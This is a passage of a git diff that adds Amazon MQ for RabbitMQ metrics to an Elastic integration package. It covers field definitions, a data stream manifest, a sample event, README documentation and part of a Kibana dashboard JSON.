values. + - name: RabbitMQIOReadAverageTime.max + metric_type: gauge + type: long + unit: ms + description: The average time for RabbitMQ to perform one read operation. + - name: RabbitMQIOWriteAverageTime.max + metric_type: gauge + type: long + unit: ms + description: The average time for RabbitMQ to perform one write operation. + - name: node + type: group + fields: + - name: SystemCpuUtilization.max + metric_type: gauge + type: long + unit: percent + description: The percentage of allocated Amazon EC2 compute units that the broker currently uses. + - name: RabbitMQMemLimit.max + metric_type: gauge + type: long + unit: byte + description: The RAM limit for a RabbitMQ node. + - name: RabbitMQMemUsed.max + metric_type: gauge + type: long + unit: byte + description: The volume of RAM used by a RabbitMQ node. + - name: RabbitMQDiskFreeLimit.max + metric_type: gauge + type: long + unit: byte + description: The disk limit for a RabbitMQ node. + - name: RabbitMQDiskFree.min + metric_type: gauge + type: long + unit: byte + description: The total volume of free disk space available in a RabbitMQ node. + - name: RabbitMQFdUsed.max + metric_type: gauge + type: long + unit: byte + description: Number of file descriptors used. + - name: RabbitMQIOReadAverageTime.max + metric_type: gauge + type: long + unit: ms + description: The average time for RabbitMQ to perform one read operation. + - name: RabbitMQIOWriteAverageTime.max + metric_type: gauge + type: long + unit: ms + description: The average time for RabbitMQ to perform one write operation. + - name: queue + type: group + fields: + - name: ConsumerCount.max + metric_type: gauge + type: long + description: The number of consumers subscribed to the queue. + - name: MessageReadyCount.max + metric_type: gauge + type: long + description: The number of messages that are currently available to be delivered. + - name: MessageUnacknowledgedCount.max + metric_type: gauge + type: long + description: The number of messages for which the server is awaiting acknowledgement. + - name: MessageCount.max + metric_type: gauge + type: long + description: The total number of MessageReadyCount and MessageUnacknowledgedCount, referred to as queue depth. diff --git a/packages/aws_mq/data_stream/rabbitmq_metrics/manifest.yml b/packages/aws_mq/data_stream/rabbitmq_metrics/manifest.yml new file mode 100644 index 00000000000..d689619446d --- /dev/null +++ b/packages/aws_mq/data_stream/rabbitmq_metrics/manifest.yml @@ -0,0 +1,67 @@ +title: "RabbitMQ Metrics" +type: metrics +streams: + - input: aws/metrics + title: RabbitMQ metrics + description: Collect RabbitMQ metrics + vars: + - name: period + type: text + title: Collection Period + multi: false + required: true + show_user: true + default: 5m + - name: data_granularity + type: text + title: Data Granularity + multi: false + required: false + show_user: false + - name: regions + type: text + title: Regions + multi: true + required: false + show_user: true + - name: latency + type: text + title: Latency + multi: false + required: false + show_user: false + description: The 'latency' parameter adjusts the Metricbeat collection start and end times. AWS CloudWatch might experience delay in processing metrics for some services causing data points to be missed during the integration collection period. To mitigate this potential issue, specify a latency parameter such as `15m`. + - name: tags_filter + type: yaml + title: Tags Filter + multi: false + required: false + show_user: false + default: | + # - key: "created-by" + # value: "foo" + - name: include_linked_accounts + type: bool + title: Include Linked Accounts + multi: false + required: false + show_user: false + default: true + description: When include_linked_accounts is set to true, CloudWatch metrics will be collected from both linked accounts and the monitoring account. Default is true. + - name: owning_account + type: integer + title: Owning Account + multi: false + required: false + show_user: false + description: Accepts an AWS account ID linked to the monitoring account. Works only if include_linked_accounts is set to true. If set, monitoring data will only include data from the given account. + - name: processors + type: yaml + title: Processors + multi: false + required: false + show_user: false + description: > + Processors are used to reduce the number of fields in the exported event or to enhance the event with metadata. This executes in the agent before the events are shipped. See [Processors](https://www.elastic.co/guide/en/fleet/current/elastic-agent-processor-configuration.html) for details. +elasticsearch: + index_mode: time_series diff --git a/packages/aws_mq/data_stream/rabbitmq_metrics/sample_event.json b/packages/aws_mq/data_stream/rabbitmq_metrics/sample_event.json new file mode 100644 index 00000000000..c438b0329a7 --- /dev/null +++ b/packages/aws_mq/data_stream/rabbitmq_metrics/sample_event.json @@ -0,0 +1,97 @@ +{ + "@timestamp": "2025-02-28T10:05:00.000Z", + "agent": { + "ephemeral_id": "fc4c4367-978d-456e-8738-d7cae2319a83", + "id": "151607dd-a8d5-462b-995f-752c336930d8", + "name": "elastic-agent-97629", + "type": "metricbeat", + "version": "8.16.2" + }, + "aws": { + "amazonmq": { + "metrics": { + "rabbitmq": { + "queue": { + "ConsumerCount": { + "max": 0 + }, + "MessageCount": { + "max": 0 + }, + "MessageReadyCount": { + "max": 0 + }, + "MessageUnacknowledgedCount": { + "max": 0 + } + } + } + } + }, + "cloudwatch": { + "namespace": "AWS/AmazonMQ" + }, + "dimensions": { + "Broker": "ObsIntegrations-RabbitMQ", + "Queue": "obs-infra queue", + "VirtualHost": "/" + } + }, + "cloud": { + "account": { + "id": "11111111111", + "name": "MonitoringAccount" + }, + "provider": "aws", + "region": "ap-south-1" + }, + "data_stream": { + "dataset": "aws_mq.rabbitmq_metrics", + "namespace": "16654", + "type": "metrics" + }, + "ecs": { + "version": "8.0.0" + }, + "elastic_agent": { + "id": "151607dd-a8d5-462b-995f-752c336930d8", + "snapshot": false, + "version": "8.16.2" + }, + "event": { + "agent_id_status": "verified", + "dataset": "aws_mq.rabbitmq_metrics", + "duration": 117138104, + "ingested": "2025-02-28T10:10:52Z", + "module": "aws" + }, + "host": { + "architecture": "x86_64", + "containerized": true, + "hostname": "elastic-agent-97629", + "ip": [ + "192.168.192.2", + "192.168.0.4" + ], + "mac": [ + "02-42-C0-A8-00-04", + "02-42-C0-A8-C0-02" + ], + "name": "elastic-agent-97629", + "os": { + "family": "", + "kernel": "5.4.0-1106-gcp", + "name": "Wolfi", + "platform": "wolfi", + "type": "linux", + "version": "20230201" + } + }, + "metricset": { + "name": "cloudwatch", + "period": 300000 + }, + "service": { + "type": "aws" + } +} diff --git a/packages/aws_mq/docs/README.md b/packages/aws_mq/docs/README.md index 0ff23b3fab0..76abd3d2815 100644 --- a/packages/aws_mq/docs/README.md +++ b/packages/aws_mq/docs/README.md @@ -11,15 +11,16 @@ The Amazon MQ integration allows you to efficiently collect and monitor broker p ## Compatibility -This integration presently supports Amazon MQ for [Apache ActiveMQ](http://activemq.apache.org/) metrics. +This integration presently supports Amazon MQ for [Apache ActiveMQ](http://activemq.apache.org/) and [RabbitMQ](https://www.rabbitmq.com/) metrics. ## Data streams -The Amazon MQ integration collects Apache ActiveMQ metrics. +The Amazon MQ integration collects Apache ActiveMQ and RabbitMQ metrics. Data streams: - `activemq_metrics`: Collects broker metrics and destination (queue and topic) metrics. + - `rabbitmq_metrics`: Collects broker, queue and node metrics. ## Requirements @@ -48,9 +49,9 @@ documentation](https://docs.elastic.co/integrations/aws#requirements). ## Metrics -### ActiveMQ Metrics +### ActiveMQ metrics -Amazon MQ provides a range of broker and queue metrics that help monitor system performance, resource utilization, and message flow. These metrics can be used for various use cases, including: +Amazon MQ for ActiveMQ provides a range of broker and queue metrics that help monitor system performance, resource utilization, and message flow. These metrics can be used for various use cases, including: - Tracking broker resource utilization, such as compute, memory, and storage. - Monitoring message throughput and queue performance. @@ -281,3 +282,163 @@ An example event for `activemq` looks as following: | data_stream.namespace | Data stream namespace. | constant_keyword | | | | data_stream.type | Data stream type. | constant_keyword | | | | event.module | Name of the module this data is coming from. If your monitoring agent supports the concept of modules or plugins to process events of a given source (e.g. Apache logs), `event.module` should contain the name of this module. | constant_keyword | | | + + + +### RabbitMQ metrics + +Amazon MQ for RabbitMQ offers a variety of broker and queue metrics to monitor system performance, resource utilization, and message flow. These metrics are essential for: + +- Assessing broker resource usage, including CPU, memory, and storage. +- Tracking message rates and queue depths to ensure efficient message processing. +- Analyzing connection counts and consumer activity to optimize messaging workloads. + +An example event for `rabbitmq` looks as following: + +```json +{ + "@timestamp": "2025-02-28T10:05:00.000Z", + "agent": { + "ephemeral_id": "fc4c4367-978d-456e-8738-d7cae2319a83", + "id": "151607dd-a8d5-462b-995f-752c336930d8", + "name": "elastic-agent-97629", + "type": "metricbeat", + "version": "8.16.2" + }, + "aws": { + "amazonmq": { + "metrics": { + "rabbitmq": { + "queue": { + "ConsumerCount": { + "max": 0 + }, + "MessageCount": { + "max": 0 + }, + "MessageReadyCount": { + "max": 0 + }, + "MessageUnacknowledgedCount": { + "max": 0 + } + } + } + } + }, + "cloudwatch": { + "namespace": "AWS/AmazonMQ" + }, + "dimensions": { + "Broker": "ObsIntegrations-RabbitMQ", + "Queue": "obs-infra queue", + "VirtualHost": "/" + } + }, + "cloud": { + "account": { + "id": "11111111111", + "name": "MonitoringAccount" + }, + "provider": "aws", + "region": "ap-south-1" + }, + "data_stream": { + "dataset": "aws_mq.rabbitmq_metrics", + "namespace": "16654", + "type": "metrics" + }, + "ecs": { + "version": "8.0.0" + }, + "elastic_agent": { + "id": "151607dd-a8d5-462b-995f-752c336930d8", + "snapshot": false, + "version": "8.16.2" + }, + "event": { + "agent_id_status": "verified", + "dataset": "aws_mq.rabbitmq_metrics", + "duration": 117138104, + "ingested": "2025-02-28T10:10:52Z", + "module": "aws" + }, + "host": { + "architecture": "x86_64", + "containerized": true, + "hostname": "elastic-agent-97629", + "ip": [ + "192.168.192.2", + "192.168.0.4" + ], + "mac": [ + "02-42-C0-A8-00-04", + "02-42-C0-A8-C0-02" + ], + "name": "elastic-agent-97629", + "os": { + "family": "", + "kernel": "5.4.0-1106-gcp", + "name": "Wolfi", + "platform": "wolfi", + "type": "linux", + "version": "20230201" + } + }, + "metricset": { + "name": "cloudwatch", + "period": 300000 + }, + "service": { + "type": "aws" + } +} +``` +**Exported fields** + +| Field | Description | Type | Unit | Metric Type | +|---|---|---|---|---| +| @timestamp | Event timestamp. | date | | | +| agent.id | Unique identifier of this agent (if one exists). Example: For Beats this would be beat.id. | keyword | | | +| aws.amazonmq.metrics.rabbitmq.broker.AckRate.max | The rate at which messages are being acknowledged by consumers. | long | | gauge | +| aws.amazonmq.metrics.rabbitmq.broker.ChannelCount.max | The total number of channels established on the broker. | long | | gauge | +| aws.amazonmq.metrics.rabbitmq.broker.ConfirmRate.max | The rate at which the RabbitMQ server is confirming published messages. | long | | gauge | +| aws.amazonmq.metrics.rabbitmq.broker.ConnectionCount.max | The total number of connections established on the broker. | long | | gauge | +| aws.amazonmq.metrics.rabbitmq.broker.ConsumerCount.max | The total number of consumers connected to the broker. | long | | gauge | +| aws.amazonmq.metrics.rabbitmq.broker.ExchangeCount.max | The total number of exchanges configured on the broker. | long | | gauge | +| aws.amazonmq.metrics.rabbitmq.broker.MessageCount.max | The total number of messages in the queues. | long | | gauge | +| aws.amazonmq.metrics.rabbitmq.broker.MessageReadyCount.max | The total number of ready messages in the queues. | long | | gauge | +| aws.amazonmq.metrics.rabbitmq.broker.MessageUnacknowledgedCount.max | The total number of unacknowledged messages in the queues. | long | | gauge | +| aws.amazonmq.metrics.rabbitmq.broker.PublishRate.max | The rate at which messages are published to the broker. | long | | gauge | +| aws.amazonmq.metrics.rabbitmq.broker.QueueCount.max | The total number of queues configured on the broker. | long | | gauge | +| aws.amazonmq.metrics.rabbitmq.broker.RabbitMQDiskFree.min | The total volume of free disk space available in a RabbitMQ broker. For cluster deployments, this value represents the aggregate of all RabbitMQ nodes' corresponding metric values. | long | byte | gauge | +| aws.amazonmq.metrics.rabbitmq.broker.RabbitMQDiskFreeLimit.max | The disk limit for a RabbitMQ broker. For cluster deployments, this value represents the aggregate of all RabbitMQ nodes' corresponding metric values. | long | byte | gauge | +| aws.amazonmq.metrics.rabbitmq.broker.RabbitMQFdUsed.max | The number of file descriptors used. For cluster deployments, this value represents the aggregate of all RabbitMQ nodes' corresponding metric values. | long | | gauge | +| aws.amazonmq.metrics.rabbitmq.broker.RabbitMQIOReadAverageTime.max | The average time for RabbitMQ to perform one read operation. | long | ms | gauge | +| aws.amazonmq.metrics.rabbitmq.broker.RabbitMQIOWriteAverageTime.max | The average time for RabbitMQ to perform one write operation. | long | ms | gauge | +| aws.amazonmq.metrics.rabbitmq.broker.RabbitMQMemLimit.max | The RAM limit for a RabbitMQ broker. For cluster deployments, this value represents the aggregate of all RabbitMQ nodes' corresponding metric values. | long | byte | gauge | +| aws.amazonmq.metrics.rabbitmq.broker.RabbitMQMemUsed.max | The volume of RAM used by a RabbitMQ broker. For cluster deployments, this value represents the aggregate of all RabbitMQ nodes' corresponding metric values. | long | byte | gauge | +| aws.amazonmq.metrics.rabbitmq.broker.SystemCpuUtilization.max | The percentage of allocated Amazon EC2 compute units that the broker currently uses. For cluster deployments, this value represents the aggregate of all three RabbitMQ nodes' corresponding metric values. | long | percent | gauge | +| aws.amazonmq.metrics.rabbitmq.node.RabbitMQDiskFree.min | The total volume of free disk space available in a RabbitMQ node. | long | byte | gauge | +| aws.amazonmq.metrics.rabbitmq.node.RabbitMQDiskFreeLimit.max | The disk limit for a RabbitMQ node. | long | byte | gauge | +| aws.amazonmq.metrics.rabbitmq.node.RabbitMQFdUsed.max | Number of file descriptors used. | long | byte | gauge | +| aws.amazonmq.metrics.rabbitmq.node.RabbitMQIOReadAverageTime.max | The average time for RabbitMQ to perform one read operation. | long | ms | gauge | +| aws.amazonmq.metrics.rabbitmq.node.RabbitMQIOWriteAverageTime.max | The average time for RabbitMQ to perform one write operation. | long | ms | gauge | +| aws.amazonmq.metrics.rabbitmq.node.RabbitMQMemLimit.max | The RAM limit for a RabbitMQ node. | long | byte | gauge | +| aws.amazonmq.metrics.rabbitmq.node.RabbitMQMemUsed.max | The volume of RAM used by a RabbitMQ node. | long | byte | gauge | +| aws.amazonmq.metrics.rabbitmq.node.SystemCpuUtilization.max | The percentage of allocated Amazon EC2 compute units that the broker currently uses. | long | percent | gauge | +| aws.amazonmq.metrics.rabbitmq.queue.ConsumerCount.max | The number of consumers subscribed to the queue. | long | | gauge | +| aws.amazonmq.metrics.rabbitmq.queue.MessageCount.max | The total number of MessageReadyCount and MessageUnacknowledgedCount, referred to as queue depth. | long | | gauge | +| aws.amazonmq.metrics.rabbitmq.queue.MessageReadyCount.max | The number of messages that are currently available to be delivered. | long | | gauge | +| aws.amazonmq.metrics.rabbitmq.queue.MessageUnacknowledgedCount.max | The number of messages for which the server is awaiting acknowledgement. | long | | gauge | +| aws.cloudwatch.namespace | The namespace specified when query cloudwatch api. | keyword | | | +| aws.dimensions.Broker | The name of the broker. | keyword | | | +| aws.dimensions.Node | The name of the node. | keyword | | | +| aws.dimensions.Queue | The name of the queue. | keyword | | | +| aws.dimensions.VirtualHost | The name of the virtual host. | keyword | | | +| cloud.account.id | The cloud account or organization id used to identify different entities in a multi-tenant environment. Examples: AWS account id, Google Cloud ORG Id, or other unique identifier. | keyword | | | +| cloud.region | Region in which this host, resource, or service is located. | keyword | | | +| data_stream.dataset | Data stream dataset. | constant_keyword | | | +| data_stream.namespace | Data stream namespace. | constant_keyword | | | +| data_stream.type | Data stream type. | constant_keyword | | | +| event.module | Name of the module this data is coming from. If your monitoring agent supports the concept of modules or plugins to process events of a given source (e.g. Apache logs), `event.module` should contain the name of this module. | constant_keyword | | | diff --git a/packages/aws_mq/img/amazom-mq-config-screenshot.png b/packages/aws_mq/img/amazom-mq-config-screenshot.png deleted file mode 100644 index ae0d2792b5f..00000000000 Binary files a/packages/aws_mq/img/amazom-mq-config-screenshot.png and /dev/null differ diff --git a/packages/aws_mq/img/amazonmq-activemq-dashboard.png b/packages/aws_mq/img/amazonmq-activemq-dashboard.png new file mode 100644 index 00000000000..7ee6a43c025 Binary files /dev/null and b/packages/aws_mq/img/amazonmq-activemq-dashboard.png differ diff --git a/packages/aws_mq/kibana/dashboard/aws_mq-787931c1-b9eb-4c6d-9993-e9014e135071.json b/packages/aws_mq/kibana/dashboard/aws_mq-787931c1-b9eb-4c6d-9993-e9014e135071.json new file mode 100644 index 00000000000..ba8c6618874 --- /dev/null +++ b/packages/aws_mq/kibana/dashboard/aws_mq-787931c1-b9eb-4c6d-9993-e9014e135071.json @@ -0,0 +1,4297 @@ +{ + "attributes": { + "controlGroupInput": { + "chainingSystem": "HIERARCHICAL", + "controlStyle": "oneLine", + "ignoreParentSettingsJSON": { + "ignoreFilters": false, + "ignoreQuery": false, + "ignoreTimerange": false, + "ignoreValidations": false + }, + "panelsJSON": { + "23566730-88c9-4ade-bcb0-90328e9c6fdf": { + "explicitInput": { + "dataViewId": "metrics-*", + "exclude": null, + "existsSelected": null, + "fieldName": "aws.dimensions.Queue", + "hideActionBar": null, + "hideExclude": null, + "hideExists": null, + "hideSort": null, + "id": "23566730-88c9-4ade-bcb0-90328e9c6fdf", + "placeholder": null, + "runPastTimeout": null, + "searchTechnique": "prefix", + "selectedOptions": [], + "singleSelect": null, + "sort": { + "by": "_count", + "direction": "desc" + }, + "title": "Queue name" + }, + "grow": false, + "order": 3, + "type": "optionsListControl", + "width": "medium" + }, + "5c9fc0ab-11a1-4240-8270-b62238f12624": { + "explicitInput": { + "dataViewId": "metrics-*", + "exclude": null, + "existsSelected": false, + "fieldName": "aws.dimensions.Broker", + "hideActionBar": null, + "hideExclude": null, + "hideExists": null, + "hideSort": null, + "id": "5c9fc0ab-11a1-4240-8270-b62238f12624", + "placeholder": null, + "runPastTimeout": null, + "searchTechnique": "prefix", + "selectedOptions": [ + "ObsIntegrations-ActiveMQ-1" + ], + "singleSelect": null, + "sort": { + "by": "_count", + "direction": "desc" + }, + "title": "Broker name" + }, + "grow": false, + "order": 2, + "type": "optionsListControl", + "width": "medium" + }, + "5e26381c-be65-4c74-babc-1f9cc2102a75": { + "explicitInput": { + "dataViewId": "metrics-*", + "exclude": null, + "existsSelected": null, + "fieldName": "aws.dimensions.Topic", + "hideActionBar": null, + "hideExclude": null, + "hideExists": null, + "hideSort": null, + "id": "5e26381c-be65-4c74-babc-1f9cc2102a75", + "placeholder": null, + "runPastTimeout": null, + "searchTechnique": "prefix", + "selectedOptions": [], + "singleSelect": null, + "sort": { + "by": "_count", + "direction": "desc" + }, + "title": "Topic name" + }, + "grow": false, + "order": 4, + "type": "optionsListControl", + "width": "medium" + }, + "a76377d2-071c-4db0-8556-c0f005664ca4": { + "explicitInput": { + "dataViewId": "metrics-*", + "exclude": null, + "existsSelected": null, + "fieldName": "cloud.account.name", + "hideActionBar": null, + "hideExclude": null, + "hideExists": null, + "hideSort": null, + "id": "a76377d2-071c-4db0-8556-c0f005664ca4", + "placeholder": null, + "runPastTimeout": null, + "searchTechnique": "prefix", + "selectedOptions": [], + "singleSelect": null, + "sort": { + "by": "_count", + "direction": "desc" + }, + "title": "AWS account name" + }, + "grow": false, + "order": 0, + "type": "optionsListControl", + "width": "medium" + }, + "b37d4456-a0e3-42e4-8bf2-12de33e003b3": { + "explicitInput": { + "dataViewId": "metrics-*", + "exclude": null, + "existsSelected": null, + "fieldName": "cloud.region", + "hideActionBar": null, + "hideExclude": null, + "hideExists": null, + "hideSort": null, + "id": "b37d4456-a0e3-42e4-8bf2-12de33e003b3", + "placeholder": null, + "runPastTimeout": null, + "searchTechnique": "prefix", + "selectedOptions": [], + "singleSelect": null, + "sort": { + "by": "_count", + "direction": "desc" + }, + "title": "AWS region" + }, + "grow": false, + "order": 1, + "type": "optionsListControl", + "width": "medium" + } + }, + "showApplySelections": false + }, + "description": "Overview dashboard for ActiveMQ managed by AmazonMQ.", + "kibanaSavedObjectMeta": { + "searchSourceJSON": { + "filter": [ + { + "$state": { + "store": "appState" + }, + "meta": { + "alias": "Dataset filter", + "disabled": false, + "field": "data_stream.dataset", + "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index", + "key": "data_stream.dataset", + "negate": false, + "params": { + "query": "aws_mq.activemq_metrics" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "data_stream.dataset": "aws_mq.activemq_metrics" + } + } + } + ], + "query": { + "language": "kuery", + "query": "" + } + } + }, + "optionsJSON": { + "hidePanelTitles": false, + "syncColors": false, + "syncCursor": true, + "syncTooltips": false, + "useMargins": true + }, + "panelsJSON": [ + { + "embeddableConfig": { + "enhancements": { + "dynamicActions": { + "events": [] + } + }, + "hidePanelTitles": true, + "savedVis": { + "data": { + "aggs": [], + "searchSource": { + "filter": [], + "query": { + "language": "kuery", + "query": "" + } + } + }, + "description": "", + "params": { + "fontSize": 12, + "markdown": "# ActiveMQ\n\nThis dashboard offers insights into key details related to ActiveMQ in AmazonMQ including\n\n- Broker CPU and disk utilization\n- Broker network and EBS volume utilization\n- Enqueue, dequeue, producer, consumer metrics related to queues\n- Enqueue, dequeue, producer, consumer metrics related to topics", + "openLinksInNewTab": false + }, + "title": "", + "type": "markdown", + "uiState": {} + } + }, + "gridData": { + "h": 14, + "i": "2c0e0f2d-3ade-4259-8fa9-552988a3f3c1", + "w": 16, + "x": 0, + "y": 0 + }, + "panelIndex": "2c0e0f2d-3ade-4259-8fa9-552988a3f3c1", + "title": "", + "type": "visualization" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "metrics-*", + "name": "indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "currentIndexPatternId": "metrics-*", + "layers": { + "e087695b-1585-4d8f-be37-62949a95b42b": { + "columnOrder": [ + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713", + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0", + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X1" + ], + "columns": { + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Average CPU utilization", + "operationType": "formula", + "params": { + "format": { + "id": "percent", + "params": { + "compact": false, + "decimals": 2 + } + }, + "formula": "average(aws.amazonmq.metrics.activemq.broker.CpuUtilization.avg)/100", + "isFormulaBroken": false + }, + "references": [ + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X1" + ], + "scale": "ratio" + }, + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Part of CPU utilization", + "operationType": "average", + "params": { + "emptyAsNull": false + }, + "scale": "ratio", + "sourceField": "aws.amazonmq.metrics.activemq.broker.CpuUtilization.avg" + }, + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X1": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Part of CPU utilization", + "operationType": "math", + "params": { + "tinymathAst": { + "args": [ + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0", + 100 + ], + "location": { + "max": 68, + "min": 0 + }, + "name": "divide", + "text": "average(aws.amazonmq.metrics.activemq.broker.CpuUtilization.avg)/100", + "type": "function" + } + }, + "references": [ + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0" + ], + "scale": "ratio" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "indexPatternId": "metrics-*", + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "color": "#B9A888", + "icon": "empty", + "layerId": "e087695b-1585-4d8f-be37-62949a95b42b", + "layerType": "data", + "metricAccessor": "45c405f5-0ad2-4ac4-bcc4-bdda4516d713" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsMetric" + }, + "description": "The percentage of allocated Amazon EC2 compute units that the broker currently uses.", + "enhancements": {}, + "hidePanelTitles": true + }, + "gridData": { + "h": 7, + "i": "dbc2f529-a9f9-4d72-8052-a00f1be83ca8", + "w": 8, + "x": 16, + "y": 0 + }, + "panelIndex": "dbc2f529-a9f9-4d72-8052-a00f1be83ca8", + "title": "", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "metrics-*", + "name": "indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "currentIndexPatternId": "metrics-*", + "layers": { + "e087695b-1585-4d8f-be37-62949a95b42b": { + "columnOrder": [ + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713", + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0", + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X1" + ], + "columns": { + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Average heap (JVM) memory utilization", + "operationType": "formula", + "params": { + "format": { + "id": "percent", + "params": { + "decimals": 2 + } + }, + "formula": "average(aws.amazonmq.metrics.activemq.broker.HeapUsage.avg)/100", + "isFormulaBroken": false + }, + "references": [ + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X1" + ], + "scale": "ratio" + }, + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Part of Average Heap (JVM) memory utilization", + "operationType": "average", + "params": { + "emptyAsNull": false + }, + "scale": "ratio", + "sourceField": "aws.amazonmq.metrics.activemq.broker.HeapUsage.avg" + }, + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X1": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Part of Average Heap (JVM) memory utilization", + "operationType": "math", + "params": { + "tinymathAst": { + "args": [ + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0", + 100 + ], + "location": { + "max": 63, + "min": 0 + }, + "name": "divide", + "text": "average(aws.amazonmq.metrics.activemq.broker.HeapUsage.avg)/100", + "type": "function" + } + }, + "references": [ + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0" + ], + "scale": "ratio" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "indexPatternId": "metrics-*", + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "color": "#CA8EAE", + "icon": "empty", + "layerId": "e087695b-1585-4d8f-be37-62949a95b42b", + "layerType": "data", + "metricAccessor": "45c405f5-0ad2-4ac4-bcc4-bdda4516d713" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsMetric" + }, + "description": "The percentage of the ActiveMQ JVM memory limit that the broker currently uses.", + "enhancements": {}, + "hidePanelTitles": true + }, + "gridData": { + "h": 7, + "i": "d283b8f3-abd3-40d6-95c0-4eb9b7ed9927", + "w": 8, + "x": 24, + "y": 0 + }, + "panelIndex": "d283b8f3-abd3-40d6-95c0-4eb9b7ed9927", + "title": "", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "metrics-*", + "name": "indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "indexpattern-datasource-layer-9f090cb9-ced1-44d1-956a-78936c15d125", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "currentIndexPatternId": "metrics-*", + "layers": { + "9f090cb9-ced1-44d1-956a-78936c15d125": { + "columnOrder": [ + "8fba23c1-a4b3-4703-85c0-295676e13622", + "af72bd07-a2fb-4f1b-8a41-24f23c877eb4", + "8be9aa39-0601-47bd-b02d-1dd6540cfc60" + ], + "columns": { + "8be9aa39-0601-47bd-b02d-1dd6540cfc60": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Current connections", + "operationType": "sum", + "params": { + "emptyAsNull": true, + "format": { + "id": "number", + "params": { + "decimals": 0 + } + } + }, + "scale": "ratio", + "sourceField": "aws.amazonmq.metrics.activemq.broker.CurrentConnectionsCount.max" + }, + "8fba23c1-a4b3-4703-85c0-295676e13622": { + "dataType": "string", + "isBucketed": true, + "label": "Top 10 values of aws.dimensions.Broker", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "8be9aa39-0601-47bd-b02d-1dd6540cfc60", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "size": 10 + }, + "scale": "ordinal", + "sourceField": "aws.dimensions.Broker" + }, + "af72bd07-a2fb-4f1b-8a41-24f23c877eb4": { + "dataType": "date", + "isBucketed": true, + "label": "@timestamp", + "operationType": "date_histogram", + "params": { + "dropPartials": false, + "includeEmptyRows": true, + "interval": "auto" + }, + "scale": "interval", + "sourceField": "@timestamp" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "indexPatternId": "metrics-*", + "linkToLayers": [], + "sampling": 1 + }, + "e087695b-1585-4d8f-be37-62949a95b42b": { + "columnOrder": [ + "8d567192-0799-4e6b-9072-90b2c4a713c4", + "e351cce6-dce5-4ea6-9b36-0c921bba099f", + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713" + ], + "columns": { + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Established connections", + "operationType": "sum", + "params": { + "emptyAsNull": true, + "format": { + "id": "number", + "params": { + "compact": true, + "decimals": 0 + } + } + }, + "scale": "ratio", + "sourceField": "aws.amazonmq.metrics.activemq.broker.EstablishedConnectionsCount.max" + }, + "8d567192-0799-4e6b-9072-90b2c4a713c4": { + "dataType": "string", + "isBucketed": true, + "label": "Top 10 values of aws.dimensions.Broker", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "45c405f5-0ad2-4ac4-bcc4-bdda4516d713", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "size": 10 + }, + "scale": "ordinal", + "sourceField": "aws.dimensions.Broker" + }, + "e351cce6-dce5-4ea6-9b36-0c921bba099f": { + "dataType": "date", + "isBucketed": true, + "label": "@timestamp", + "operationType": "date_histogram", + "params": { + "dropPartials": false, + "includeEmptyRows": true, + "interval": "auto" + }, + "scale": "interval", + "sourceField": 